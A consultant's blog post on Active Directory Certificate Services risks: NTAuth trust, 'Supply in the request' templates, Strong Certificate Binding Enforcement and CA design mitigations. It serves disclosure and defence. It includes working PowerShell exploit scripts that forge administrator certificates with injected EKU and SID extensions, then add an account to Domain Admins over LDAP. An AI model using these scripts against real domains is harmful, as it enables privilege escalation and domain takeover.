So I have been back in Sweden for about two weeks, working in an intense project with PKI (AD CS, Venafi, PointSharp NetID Portal, and Thales Luna HSMs) as well Active Directory and tiering.
Issues and challenges with “Supply in the request” (SITR) – Certificate Templates
How NTAuth works and what it means if a Certificate Authority is trusted in NTAuth
That the new Strong Certificate Binding Enforcement is a response to CVE-2022-34691, CVE-2022-26931, CVE-2022-26923 and is NOT designed to resolve the challenges with “Supply in the request” (SITR) – Certificate Templates
That templates that lack the – Client Authentication EKU (1.3.6.1.5.5.7.3.2) might be subject anyway for PKINIT and Schannel.
Let’s talk about possibilities to mitigate – the first ability is to design your PKI Hierarchy so that you have at least two CAs where one of them is trusted in NTAuth and the other isn’t.
Design 1 – Preferred works for most organizations
Issuing CA 1 (AD CS) – Installed as Enterprise CA trusted in NTAuth – Issues certificates used for authentication such as Smart Card/Yubikey PIV, 802.1x (Only important if you’re running NPS in particular) and any other certificate where the subject is built from the Active Directory user or computer. This CA should never have certificate templates published with “Supply in the request” (SITR).
Issuing CA 2 (AD CS) – Installed as Enterprise CA (The CA is going to be initially trusted in NTAuth as it’s installed as an Enterprise CA and has to be installed by an Enterprise Admin within the forest or by an account that is delegated to write to the NTAuth object anyway) –
Important! This CA has to be removed from NTAuth manually and repeatable have to be so every time the CA certificate is renewed. Read more about NTAuthGuard by Carl Sörqvist further down as a automated solution for this task
This CA as it is installed as an Enterprise CA will still have the capability to publish certificates and enable auto-enrollment to clients/servers and is intended as a SSL-TLS CA and can safely publish certificate templates where the subject can be supplied aka “Supply in the request” (SITR)
However there is some more restrictions that should be performed on this CA – I would recommend to disable the following extensions so the CA never can include them in any certificates:
DisableExtensionList +1.3.6.1.4.1.311.25.2 (SID) – The SID extension is not needed as this CA should never issue any certificates used for authentication and there for do not need to be compliant with the Strong Certificate Binding Enforcement requirements.
DisableExtensionList +1.3.6.1.4.1.311.21.10 (App Policies) – This is a legacy proprietary extension that would allow the requester to supply a EKU within the request of choice on templates that are missing the ‘msPKI-Certificate-Application-Policy Attribute’ attribute – typically v1 templates as the built-in ‘WebServer’ template, but not limited to.
Note the ‘DisableExtensionList’ can be set using the certutil command line utility – for example:
Secure – Supply in the request (SITR) templates additionally – As an extra safety precaution I recommend that SITR templates are configured with the ‘msPKI-Enrollment-Flag‘ attribute to contain the new bit/flag ‘0x00080000 – CT_FLAG_NO_SECURITY_EXTENSION’ to make sure that certificates generated by those templates never can include the SID extension regardless on which CA they are published on (as long as we’re speaking AD CS)
Design 1 and Tiering – Note that this design requires both “Issuing CA 1” and “Issuing CA 2” to be managed from T0, however to be clear they can both issue certificates to clients/servers in all tiers and you can even delegate certificate manager responsibilities to T1 on “Issuing CA 2” – what you can’t do however is allowing T1 to logon to interactively to “Issuing CA 2”.
Design 1 – Design Rational – Some will probably argument that why not just have one Enterprise CA and make sure that all the “Supply in the request” (SITR) templates are configured to have certificate manager approval required – sure this can work for small businesses, also remember that each request must be reviewed be for approved by a T0 administrator – they typically have other things to do.
The hygiene factor is hard if it’s not automated – reporting templates that have “Supply in the request” (SITR) enabled and lacking the certificate manager approval requirement or even remediate them – when performing security assessments at Epical we always se the left-overs of templates where someone just wanted to test something or was in a hurry and might intended to change the settings back to what they should be, this design minimize those mistakes as well and it’s fairly easy to script compliance checks when the CAs are split up-on the type of templates they should publish.
Have a sample script for that:
NTAuthGuard by Carl Sörqvist So NTAuthGuard is a solution from Carl Sörqvist that will help us with the fact that in Design 1 as mentioned above both “Issuing CA 1” and “Issuing CA 2” are AD CS Enterprise CAs mening they will both publish and trust them self in NTAuth and has to be installed by an Enterprise Admin within the forest or by an account that is delegated to write to the NTAuth object anyway, “Issuing CA 2” needs to be removed manually and repeatable have to be so every time the CA certificate is renewed.
NTAuthGuard allows us to define a whitelist by CA certificate thumbprints that is allowed to be trusted in NTAuth – the script can log events if a CA certificate that is not whitelisted is being trusted in NTAuth or even take action and remove the none-whitelisted CA certificate from NTAuth.
Last week I presented my session “When your Enterprise PKI becomes one of your enemies” at the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans – Thanks to all who attended my session and for all of the follow up questions I got later during the conference and now also on social media and e-mail – I’m very sorry that my two last demos didn’t work, the reason for that was some issues with the CDP in my demo environment the KDC didn’t consider it’s own certificate valid for PKINIT hence the problem.
The first part of the presentation outlined something very common and dangerous that we already see today, Enterprise CA’s trusted for authentication against Active Directory – publishing certificate templates that allow the subject to be supplied in the request (SITR)
But how can you determine if a CA is trusted for authentication against Active Directory? It’s either trusted in NTAuth + Leaf certificates and KDC certificates have their full chain trusted and is valid – this allows for implicit/explicit UPN mapping e.g. the SAN in the certificate matches the userPrincipalName attribute of the user within Active Directory. If the CA is not trusted in NTAuth only explicit mapping is available using the altSecurityIDs attribute + Leaf certificates and KDC certificates have their full chain trusted and is valid.
By default if you install an Enterprise CA using Active Directory Certificate Services (AD CS) – it will be trusted in NTAuth.
Above you can see the requirements to be trusted to authenticate to Active Directory using certificates – Note that Schannel in the S4U2Self scenarios involves the KDC and the authentication part contains to either NTAuth (implicit mapping) or AltSecID (explicit mapping)
The methods with blue color are required to be considered strong according to the Strong Certificate Binding Enforcement (more on that later 1)
Active Directory So let’s have a look how NTAuth – CA’s trusted in NTAuth are stored at the following location ‘CN=NTAuth,CN=Public Key Services,CN=Services,DC=Configuration,DC=X’ in Active Directory and their thumbprint in the multi-valued attribute ‘cACertificate’
Clients On every domain joined computer a copy of all the trusted CA’s in the above attribute are stored in the registry at the following location: ‘HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates’ where one key for each CA is created and named after the thumbprint of the CA certificate.
Group Policy Autoenrollment Client Side Extension (CSE) Supposed to cache the content from AD to the Registry on each domain joined machine within the forest (Including DCs).
So who is validating that the CA is trusted in NTAuth?
Domain Controllers / KDC (if not explicit mapping using AltSecID)
Network Policy Server (NPS)
LDAP-STARTTLS
IIS – SCHANNEL
ADFS – SCHANNEL (Even if explicit mapping exist using AltSecID)
Enrollment of templates that have private key archival enabled
So how is the validation that the CA is trusted in NTAuth performed? If we’re online we’re taking a trip to ‘CN=NTAuth,CN=Public Key Services,CN=Services,DC=Configuration,DC=X’ using LDAP right?
Nope – Verification is done using a API: We’re calling into crypt32.dll?CertVerifyCertificateChainPolicy with the ‘CERT_CHAIN_POLICY_NT_AUTH’ flag
Note: You can test this using PowerShell: Test-Certificate -Cert $cert -Policy NTAUTH
If the certificate chain is valid from Leaf Certificate to the Root CA Certificate and that the full chain is trusted.
Verify that the CA directly above the Leaf Certificate is trusted in NTAuth – this check is done locally by looking in the registry on the client ‘HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates’ – the API never asks Active Directory.
What is Strong Certificate Binding Enforcement? Strong Certificate Binding is a response to CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923 address an elevation of privilege vulnerability that can occur when the Kerberos Key Distribution Center (KDC) is servicing a certificate-based authentication request. Before the May 10, 2022 security update, certificate-based authentication would not account for a dollar sign ($) at the end of a machine name. This allowed related certificates to be emulated (spoofed) in various ways. Additionally, conflicts between User Principal Names (UPN) and sAMAccountName introduced other emulation (spoofing) vulnerabilities that we also address with this security update. More information can be found here: KB5014754: Certificate-based authentication changes on Windows domain controllers and here: Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) | by Oliver Lyak | IFCR
Specifically this protects from the following four scenarios:
dNSHostName/servicePrincipalName computer owner abuse, Remove DNS SPNs from servicePrincipalName, steal DNS hostname of a DC, put it in your computer accounts dNSHostName attr and request a cert, auth with the cert and you’re a DC.
Overwrite userPrincipalName of user to be of target to hijack user account since the missing domain part does not violate an existing UPN
Overwrite userPrincipalName of user to be @ of target to hijack machine account since machine accounts don’t have a UPN
Delete userPrincipalName of user and overwrite sAMAccountName to be without a trailing $ to hijack a machine account
Note: 2-4 would require permissions to write to the ‘userPrincipalName’ attribute
So how is Strong Certificate Binding Enforcement implemented?
As outlined in KB5014754: Certificate-based authentication changes on Windows domain controllers once we’re in Full Enforcement mode there is only 3 ways to stay compliant – otherwise certificate based authentication is going to fail against Active Directory – Full Enforcement mode is planned to February 11, 2025 by default with an option to opt-out until September 10, 2025 by explicit configuring your domain controllers to be in Compatibility Mode. But if you have NOT already by yourself rolled into Enforcement Mode -It means your Active Directory is still vulnerable to those CVEs
Options to be compliant with Strong Certificate Binding Enforcement
Method
Requirements
Certificate Re-issue
Certificate SID Extension
Certificate must contain the ‘1.3.6.1.4.1.311.25.2’ SID Extensions that encodes the user or computers SID hat the certificate issued for/to be used for authentication with
Yes
SAN URL
The SAN of the certificate must contain one entry of the type URL and have a value of “•tag:microsoft.com,2022-09-14:sid:<value>” where <value> is the user or computers SID that the certificate issued for/to be used for authentication with, this is only accepted on the KDC for Windows Server 2025-Windows Server 2019 DCs
Yes
AltSecID
Using the ‘altSecurityIDs’ attribute to strongly map the certificate to the user or computer the certificatre is issued for/to be used for authentication with – only the following mapping methods are considered strong: – X509IssuerSerialNumber “X509:<I>IssuerName<SR>1234567890” -X509SKI “X509:<SKI>123456789abcdef” -X509SHA1PublicKey “X509:<SHA1-PUKEY>123456789abcdef”
No
Issuer-OID-MappingType triplet
More information will be available shortly.
No, if Issuer OID is present
Supply in the request (SITR) without Client Authentication EKU in the template
One of the requirements for the KDC to accept a certificate for authentication using PKINIT is that the EKU is containing either Client Authentication (1.3.6.1.5.5.7.3.2) or id-pkinit-KPClientAuth (1.3.6.1.5.2.3.4) or Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
Microsoft have a proprietary extension called a Certificate Application Policy and it’s used as an EKU – Defined by this attribute on certificate templates “msPKI-Certificate-Application-Policy Attribute” as this attribute isn’t populated (is empty) on certificate templates that are v1 templates, this attribute can be supplied in the request exactly the same way as we could supply a SAN.
Microsoft issued a statement on this just the day before my presentation on the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans – the statement from MSRC can be found here: Active Directory Certificate Services Elevation of Privilege Vulnerability – CVE-2024-49019 but it’s not telling you the entire truth about how this works, peer see this has nothing to with if the template is v1 or not, it has to do with and only with if the “msPKI-Certificate-Application-Policy” attribute is populated or not, if you copy a v1 template let’s say you copy the default ‘WebServer’ template, its upgraded and the values in ‘pKIExtendedKeyUsage’ are copied by the ‘Certificate Template’ MMC into ‘msPKI-Certificate-Application-Policy’ and you’re safe – so what is not being told here:
If you have a v2 template let’s say and don’t define EKUs or having msPKI-Certificate-Application-Policy empty – you’re as well subject to having EKUs supplied in the request and this is regardless template version. Is there any real world scenarios for this – well here is an example of a vendor who guides certificate templates to be created this way: Create and Add a Microsoft Certificate Authority Template
Let’s try using this by showing some sample code – For this to work we assume that the default template ‘WebServer’ is published at an Enterprise CA named ‘nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1’ and that it is trusted in NTAuth in a forest with a root domain named nttest.chrisse.com and that the built-in administrator account exists by it’s default name – to utilize this the enrollment permissions needs to be granted either to a user or computer within the forest.
1. WebServer-AppPolicy.ps1
Import-Module-Name CertRequestTools#CA1 IS Trusted in NTAuth$CA1 ="nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1"$ApplicationPoliciesExtension =New-Object-ComObject X509Enrollment.CX509ExtensionMSApplicationPolicies$ApplicationPolicyOids =New-Object-ComObject X509Enrollment.CCertificatePolicies.1$ApplicationPolicyOid =New-Object-ComObject X509Enrollment.CObjectId$ApplicationPolicyOid.InitializeFromValue('1.3.6.1.5.5.7.3.2') #Client Authentication EKU$CertificatePolicy =New-Object-ComObject X509Enrollment.CCertificatePolicy$CertificatePolicy.Initialize($ApplicationPolicyOid)$ApplicationPolicyOids.Add($CertificatePolicy)$ApplicationPoliciesExtension.InitializeEncode($ApplicationPolicyOids)$ManagedApplicationPoliciesExtension =[System.Security.Cryptography.X509Certificates.X509Extension]::new($ApplicationPoliciesExtension.ObjectId.Value,`[Convert]::FromBase64String($ApplicationPoliciesExtension.RawData(1)), $ApplicationPoliciesExtension.Critical)New-PrivateKey-RsaKeySize 2048-KeyName ([Guid]::NewGuid()) |New-CertificateRequest-Subject "CN=DEMO1"`-UserPrincipalName administrator@nttest.chrisse.com `-OtherExtension $ManagedApplicationPoliciesExtension |`Submit-CertificateRequest-ConfigString $CA1 -Template WebServer |`Install-Certificate-Name My -Location CurrentUser
So now we have a certificate with the UPN of the built-in administrator (RID 500) and we supplied the required Client Authentication EKU in the request using the ‘Web Server’ template so our certificate with the subject “CN=DEMO1” should be able to authenticate and become the Administrator account RID500. To do this we use another script to perform LDAP-STARTTLS – select the certificate issued by the previous script when prompted: Note: Change the domain controller from ‘nttest-dc-01.nttest.chrisse.com’ to your own DC, the KDC on the must be capable of performing PKINIT e.g. have valid KDC certificate.
LDAP-TLSv2.ps1
Add-Type-AssemblyName System.DirectoryServices.ProtocolsAdd-Type-AssemblyName System.Security# Change the domain controller to your own DC instead of 'nttest-dc-01.nttest.chrisse.com'$Id =New-Object-TypeName System.DirectoryServices.Protocols.LdapDirectoryIdentifier -ArgumentList 'nttest-dc-01.nttest.chrisse.com',389,$true,$false$Ldap =New-Object-TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList $Id,$null, ([System.DirectoryServices.Protocols.AuthType]::External)$Ldap.AutoBind =$false"Certificate selection"|Write-Host$Location = [System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser$Name = [System.Security.Cryptography.X509Certificates.StoreName]::My$Store =New-Object-TypeName System.Security.Cryptography.X509Certificates.X509Store -ArgumentList $Name, $Location$Store.Open("ReadOnly, MaxAllowed, OpenExistingOnly")$Cert = [System.Security.Cryptography.X509Certificates.X509Certificate2UI]::SelectFromCollection($Store.Certificates.Find("FindByKeyUsage",0xa0,$true).Find("FindByExtension","2.5.29.35",$true),"Certificate selection","Select a certificate","SingleSelection")$Store.Dispose()$Ldap.ClientCertificates.Clear()[void]$Ldap.ClientCertificates.Add($Cert[0])$Ldap.SessionOptions.QueryClientCertificate = {param( [System.DirectoryServices.Protocols.LdapConnection] $Connection, [Byte[][]] $TrustedCAs )return $Cert[0]}"Starting TLS"|Write-Host$Ldap.SessionOptions.StartTransportLayerSecurity($null)$RootDseSearchRequest =New-Object-TypeName System.DirectoryServices.Protocols.SearchRequest -ArgumentList '',"(&(objectClass=*))","Base"Try{ $RootDseSearchResponse =$null $RootDseSearchResponse = $Ldap.SendRequest($RootDseSearchRequest)}Catch{ $Ldap.Dispose()throw$_}"Default naming context: {0}"-f $RootDseSearchResponse.Entries[0].Attributes["defaultNamingContext"].GetValues([String])"Binding"|Write-HostTry{ $Ldap.Bind()}Catch{throw}# Send an Extended WHOAMI request$ExtReq =New-Object-TypeName System.DirectoryServices.Protocols.ExtendedRequest -ArgumentList "1.3.6.1.4.1.4203.1.11.3"$ExtRes = [System.DirectoryServices.Protocols.ExtendedResponse] $Ldap.SendRequest($ExtReq)"Bound as identity: '{0}'"-f [System.Text.Encoding]::UTF8.GetString($ExtRes.ResponseValue)# Change to a user you want to add to domain admins $UserDN ="CN=Guest,CN=Users,DC=nttest,DC=chrisse,DC=com""Adding '{0}' to Domain Admins"-f $UserDN$Modify = [System.DirectoryServices.Protocols.ModifyRequest]::new("CN=Domain Admins,CN=Users,DC=nttest,DC=chrisse,DC=com","Add","member", $UserDN)Try{ $Response = $Ldap.SendRequest($Modify)}Catch{ $Response =$_.Exception.GetBaseException().Response}"Result: {0}"-f $Response.ResultCode$Ldap.Dispose()
Supply in the request (SITR) with Strong Certificate Binding Enforcement
If we now enable Strong Certificate Binding Enforcement on our KDCs / Domain Controllers by setting/creating the following registry key: “HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement” as type DWORD and set the value to “2” – Strong Certificate Binding Enforcement is now enabled
We can verify this by trying to authenticate with the certificate already issued above, with the subject CN=DEMO1 – simply run LDAP-STARTTLS – select the certificate issued by the previous script when prompted.
This time the authentication should fail, this is expected as the certificate would not be compliant with Strong Certificate Binding Enforcement, It doesn’t contain the SID extension, neither a SAN with the SID or are being explicit mapped in the altSecID attribute.
So this means that once we reach Strong Certificate Binding Enforcement on all our KDCs / Domain Controllers we’re safe from this supply in the request madness right? Absolutely NOT. Because what if the SID extension could also be supplied in the request?
Let’s issue a certificate once again using the same template ‘WebServer’ but supply a SID as well.
2. WebServer-AppPolicySCBE.ps1
Import-Module-Name CertRequestTools#CA1 IS Trusted in NTAuth$CA1 ="nttest-ca-01.nttest.chrisse.com\Chrisse Issuing CA 1"# Insert the SID as szOID_NTDS_CA_SECURITY_EXT certificate extension$SidExtension =New-SidExtension-NTAccount NTTEST\Administrator$ApplicationPoliciesExtension =New-Object-ComObject X509Enrollment.CX509ExtensionMSApplicationPolicies$ApplicationPolicyOids =New-Object-ComObject X509Enrollment.CCertificatePolicies.1$ApplicationPolicyOid =New-Object-ComObject X509Enrollment.CObjectId$ApplicationPolicyOid.InitializeFromValue('1.3.6.1.5.5.7.3.2') #Client Authentication EKU$CertificatePolicy =New-Object-ComObject X509Enrollment.CCertificatePolicy$CertificatePolicy.Initialize($ApplicationPolicyOid)$ApplicationPolicyOids.Add($CertificatePolicy)$ApplicationPoliciesExtension.InitializeEncode($ApplicationPolicyOids)$ManagedApplicationPoliciesExtension =[System.Security.Cryptography.X509Certificates.X509Extension]::new($ApplicationPoliciesExtension.ObjectId.Value,`[Convert]::FromBase64String($ApplicationPoliciesExtension.RawData(1)), $ApplicationPoliciesExtension.Critical)New-PrivateKey-RsaKeySize 2048-KeyName ([Guid]::NewGuid()) |`New-CertificateRequest-Subject "CN=DEMO2"`-UserPrincipalName administrator@nttest.chrisse.com `-OtherExtension $SidExtension,$ManagedApplicationPoliciesExtension |`Submit-CertificateRequest-ConfigString $CA1 -Template WebServer |`Install-Certificate-Name My -Location CurrentUser
Now you should have a issued certificate with the subject “CN=DEMO2” – Now use the LDAP-STARTTLS script again to authenticate using the new certificate, make sure you select the right certificate, if you want to be sure you can just open certmgr.msc and delete “CN=DEMO1”
You should now have been authenticated and the KDC / Domain Controller is in Strong Certificate Binding Enforcement mode.
To wrap up this first blog post that is an attempt to cover what is presented in the first part of my session “When your Enterprise PKI becomes one of your enemies” at the Hybrid Identity Protection (HIP) Conference 2024 in New Orleans last week there is some key take aways.
“Strong Certificate Binding Enforcement” will not help you with bad certificate template hygien at all it was designed to prevent CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923.
Certificate Templates without the ‘msPKI-Certificate-Application-Policy’ is subject to EKUs being supplied in the request regardless of template version.
Equally – Certificate Templates with at least one EKU in ‘msPKI-Certificate-Application-Policy’ is protected. (You can patch the default v1 ‘WebServer’ if you want) – I’m not in any way recommending to use v1 templates .
Next part will look into how all this can be mitigated by choosing the right design and how templates can be optimally configured – but after that I’m going to cover some of the real bad scenarios.